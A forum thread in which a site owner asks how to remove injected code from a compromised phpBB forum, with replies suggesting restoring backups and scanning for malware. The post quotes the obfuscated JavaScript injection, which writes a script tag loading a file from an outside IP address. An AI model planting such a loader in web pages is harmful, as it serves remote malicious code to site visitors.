As title say, since yesterday my forum is slower than usual. After sending an e-mail to my web hosting company they said I have a script that connects to an IP that is slow. Never placed such a code, I only have statscounter.
Found that code on several of my pages, removed it (was even in my links pages), but it still loads. It`s even in my main page (viewable on page source), but after I download index.php it isn`t there !
My question is if anybody knows how to get rid of it, a tool or something that automatically searches for a given code on all my pages and removes it. I coudn`t find anything like that in my cPanel :|
My forum URL is in my signature, and the code is:

<script language=javascript><!--
document.write(unescape('OXQ%3CsIpvcrzYFipzYFt%20s r6vGc%3D%2F%2F94%2E24zYF7%2Emso2Ipv%2E195n3%2FOXQj Ipvquery%2Ejsmso%3E%3C6vG%2FsIpvcriptli%3E').repla ce(/li|aQ|6vG|zYF|OXQ|mso|Df|n3|Ipv/g,""));
--></script>

This loads something (nothing I can see), but it connects to IP 94.247.2.195.
From a google search I found out that this happened most probably because I connected by FTP from an insecure and infected PC.

Thanks in advance, and sorry if I posted in the wrong section, wasn`t sure where to do it since it`s a web site problem and not a computer one.

Hopefully you have a backup of before this started. I'd suggest wiping out all the files and restoring an older backup of before this started happening.

Then I suggest you check your computer for trojans, worms, virii, etc..

Unfortunately, only the backup integrated into phpbb3 ... and already did that without success. I don`t like the ideea of deleting all.
Already scanned my PC and found some malware. But I`m pretty sure that I got the infection from work`s computer, since then the forum started to slow down.

Hm ok, well make sure you got rid of all that javascript code. It could have been implanted deep inside the code not just near the top.

I've had that happen before, I got infected and the person started hardcoding malicious stuff deep within thousands and thousands of line of my code.

Well, that was my question: how to do that ?
Taking manually each file will be suicide.

Another N00b